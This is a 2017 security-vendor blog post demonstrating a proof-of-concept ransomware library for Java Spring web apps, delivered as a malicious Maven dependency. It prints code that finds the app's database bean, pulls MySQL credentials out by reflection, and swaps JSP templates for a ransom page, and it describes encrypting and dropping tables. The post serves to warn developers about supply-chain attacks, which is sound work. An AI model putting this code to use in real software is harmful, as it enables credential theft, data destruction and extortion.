May 15, 2017

When Will WannaCry Style Ransomware Hit Enterprise Java Web Apps?

Posted By: Asankhaya Sharma, Mark Curphey

Unless you have been living under a rock you have heard all about the WannaCry ransomware. At SourceClear, we believe this week’s attacks were a preview of what could happen when (not if) ransomware moves from small-value targets (consumer desktops) to large-value targets (enterprise web applications). It’s where the big money is. This blog post demonstrates the technical feasibility with a working sample for the latest version of the Java Spring Framework. It’s not any one framework that’s vulnerable but the open-source ecosystem - we also have working examples for Apache Struts, Node.js, Ruby or many others.

Java Spring Ransomware Proof of Concept

The full source code of this POC is available at our GitHub repo.

Let’s start with a sample Spring MVC app, configured to use MySQL.

<!-- pom.xml -->
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.9</version>
</dependency>
# persistence-mysql.properties
dataSource.driverClassName=com.mysql.jdbc.Driver
dataSource.url=jdbc:mysql://localhost:3306/dbransom
dataSource.username=root
dataSource.password=password

hibernate.dialect=org.hibernate.dialect.MySQLDialect
hibernate.hbm2ddl.auto=create

Trick the innocent developer into installing the malicious package. We called it org.evil.ransomware but bad actors will mask it as a good library or update code in a previous good release.

<!-- pom.xml -->
<dependency>
    <groupId>org.evil</groupId>
    <artifactId>ransomware</artifactId>
    <version>1.0</version>
</dependency>

This library exposes a single method, Utils.randomNumber, which is called as part of the web service.

Extracting information about Database

Once a malicious package is included, it practically has free reign over what can happen in your application. This is more or less equivalent to getting remote code execution in the environment of an application.

To cause real damage, we need an important-enough target. The database qualifies, and since this is a Spring application, we know its coordinates. It’s as simple as getting hold of the Spring application context and locating the right bean.

class TakeoverSpring {
  // Access the Spring context
  @Autowired
  private WebApplicationContext ctx;

  TakeoverSpring() {
    SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(this);
  }

  JdbcTemplate getSpringJdbc() {
    DataSource ds = null;
    try {
      ds = ctx.getBean(DataSource.class);
      return new JdbcTemplate(ds);
    } catch (NoSuchBeanDefinitionException e) {}
    // ...
  }

}

If this doesn’t work, we can access the ClassLoader hierarchy and find a class with a method which returns a DataSource of some kind.

for (Class<?> klass : loadedClasses()) {
  Method[] methods = klass.getMethods();

  for (Method m : methods) {
    if (!DataSource.class.isAssignableFrom(m.getReturnType())) {
      continue;
    }

    // We've found a target!
    m.setAccessible(true);
    for (Constructor ctor : klass.getDeclaredConstructors()) {
      // Instantiate the target bean and autowire its dependencies
      if (ctor.getGenericParameterTypes().length == 0) {
        ctor.setAccessible(true);
        Object instance = ctor.newInstance();
        SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(instance);
        beanFactory.autowireBean(instance);
        ds = (DataSource) m.invoke(instance);
      }
    }

    if (ds != null) {
      return ds;
    }
  }
}

Reflection then allows us to get hold of the details of the database Connection.

import com.mysql.jdbc.ConnectionImpl;

void getConnectionInfo() {
  Field f;

  f = ConnectionImpl.class.getDeclaredField("user");
  f.setAccessible(true);
  String username = (String) f.get(conn);

  f = ConnectionImpl.class.getDeclaredField("password");
  f.setAccessible(true);
  String password = (String) f.get(conn);

  f = ConnectionImpl.class.getDeclaredField("host");
  f.setAccessible(true);
  String host = (String) f.get(conn);

  f = ConnectionImpl.class.getDeclaredField("database");
  f.setAccessible(true);
  String database = (String) f.get(conn);

  // ...
}

We can then use the credentials to create a new database connection.

First we disable the victim’s access to the data. We can do this in any number of ways once we get to this point; a simple way would be to dump the contents to a file, encrypt it, then drop all the tables.

PWN3D

The final steps of any credible ransomeware are to ensure the victim knows they’ve been pwned and give them our Bitcoin address. Lets locate their template files, encrypt them and replace them with a tasteful message.

void gloat() {
  // Locate web resources
  File f = new File(getClass().getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
  String path = f.getPath();
  int indx = path.indexOf("/WEB-INF/lib/");
  path = path.substring(0, indx + 9) + "views";

  // Replace them with our custom views
  for (File template : getFilesFromPath(path)) {
    if (template.getName().toLowerCase().endsWith(".jsp")) {
      encryptAndMove(template);
      moveResource("pwned.jsp", template.getPath());
    }
  }
}

Boom…..

PWN3D

We wouldn’t want the encryption key to appear in the malicious library itself, since that would leave it vulnerable to reverse-engineering. Malwaretechblog is too fast so public key encryption allows us to avoid exposing the entire key.

Conclusion

Is this post self-serving? Of course, it’s what we do and we have been building technology to find malware and backdoors in open-source that will be coming to market later this year. With that obvious bias aside, this stuff is real and it will happen. It’s just a matter of time.

Interested in Continuous Security?